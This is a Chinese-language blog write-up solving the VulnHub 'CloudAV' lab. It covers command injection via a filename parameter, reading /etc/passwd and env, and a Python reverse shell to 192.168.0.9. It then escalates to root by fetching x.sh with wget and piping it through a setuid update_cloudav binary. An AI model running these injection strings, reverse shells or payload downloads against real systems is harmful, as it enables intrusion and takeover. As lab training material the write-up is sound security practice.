0x1 环境介绍

第一次打 vulnhub 环境下载,看到了困难度为 Easy 就下载了 ,涉及到的知识点:端口扫描、web攻击、SQL注入、命令执行、枚举爆破、代码分析。

image-20200419132637145.png

image-20200419133607256.png

跑起来之后网络配置-桥接模式(DHCP服务环境默认开启的会自动分配IP地址)

image-20200419133651911.png

靶机环境配置完成。
然后在攻击机Windows 7(个人PC)进行主机发现,并进行端口扫描。

image-20200419134303903.png

当前网络环境介绍:

攻击机物理机:

macbook IP address:192.168.0.9

攻击机虚拟机(桥接模式):

windows 7 IP address:192.168.0.123

漏洞机虚拟机(桥接模式):

Linux IP address:192.168.0.89

开启的端口:22(ssh),8080(web service)

0x2 攻击路线

浏览器打开 192.168.0.89:8080 链接。

image-20200419115051253.png

burpsuite 直接爆破一把梭。

image-20200419114908132.png

输入邀请码 “password”,跳转如下界面,功能是扫描文件并输出文件得一些信息以此来判断是否为病毒文件。

image-20200419115259957.png

image-20200419115308069.png

发现可以直接拼接命令导致命令执行。

image-20200419115546776.png

image-20200419115528277.png

查看了正在运行哪些进程服务。

image-20200419122018494.png

执行 ls | cat /home/scanner/cloudav_app/app.py 查看代码,发现邀请码登陆点存在SQL注入,filename 参数直接拼接导致命令执行。

image-20200419121604180.png

收集了下当前靶机虚拟机的环境:

1. 查看当前权限

filename=ls|whoami

回显:

scanner

2. 查看计划任务

filename=ls|crontab -l

回显:

# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
@reboot cd /home/scanner/cloudav_app && /usr/bin/python app.py

3. 查看当前用户权限

filename=ls|id

回显:

uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)

4. 查看当前系统用户

filename=ls|cat /etc/passwd  

回显:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
cloudav:x:1000:1000:cloudav:/home/cloudav:/bin/bash
scanner:x:1001:1001:scanner,,,:/home/scanner:/bin/bash
clamav:x:111:113::/var/lib/clamav:/bin/false

5. 查看机器端口

filename=ls|netstat -ano

回显:

22、8080

6. 查看系统环境变量

filename=ls|env

回显:

HOME=/home/scanner
WERKZEUG_SERVER_FD=4
LOGNAME=scanner
WERKZEUG_RUN_MAIN=true
PATH=/usr/bin:/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/home/scanner/cloudav_app

7. 查看当前所在路径

filename=ls|pwd

回显:

/home/scanner/cloudav_app

0x3 获取交互 SHELL

太繁琐了,干脆直接弹了个shell,执行如下操作来获取一个交互的shell。
Macbook 攻击机进行端口监听:

Mac-PpBiBo $ nc -lv 4445

Linux 靶机执行:

filename=ls|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.9",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

image-20200419141717790.png

image-20200419142141540.png

查看 update_cloudav 源代码

cat update_cloudav

返回

#inclued <stdio.h>

int main(int argc,char *argv[])
{
char *freshclam="/usr/bin/freshclam";

if (argc < 2){
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
return 1;
}

char * command = malloc(strlen(freshclam) + strlen(strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;

}

发现在 /home/scanner下存在一个update_clouav 可执行文件 并且运行权限为 root 。
查看 update_clouav.c 源代码发现,有一些组id和用户id设置为0,以root权限执行命令。
首先,在 sh 文件中创建了另一个python反向shell,并将其命名为x.sh

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.9",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

image-20200419145924344.png

执行如下命令落地反弹shell文件到 linux 靶机,并给予执行的权限。

wget http://192.168.0.123/x.sh
chmod +x x.sh
./update_cloudav "hello|bash x.sh"

image-20200419150054710.png

获取 root 权限,删除靶机。(没内存了...)

标签: Web安全

已有 6 条评论

  1. xsshim

    修改 burpsuite 代理监听器为 127.0.0.1:8081 并将浏览器代理修改为 127.0.0.1:8081 不然端口冲突。

    这里不用修改端口啊,8080是靶机的端口。。。

    1. admin

      感谢,已经纠正。

  2. Xighh

    这道题做的时候坑还是挺多的,文章思路很清晰。

  3. online

    博主有做过“Bored hacker blog social network 2.0”这个靶机么?
    地址是https://www.vulnhub.com/entry/boredhackerblog-social-network-20,455/

    1. admin

      看了下难度 告辞!!!

    2. admin

      我过几天去做一下。

添加新评论

marisa.png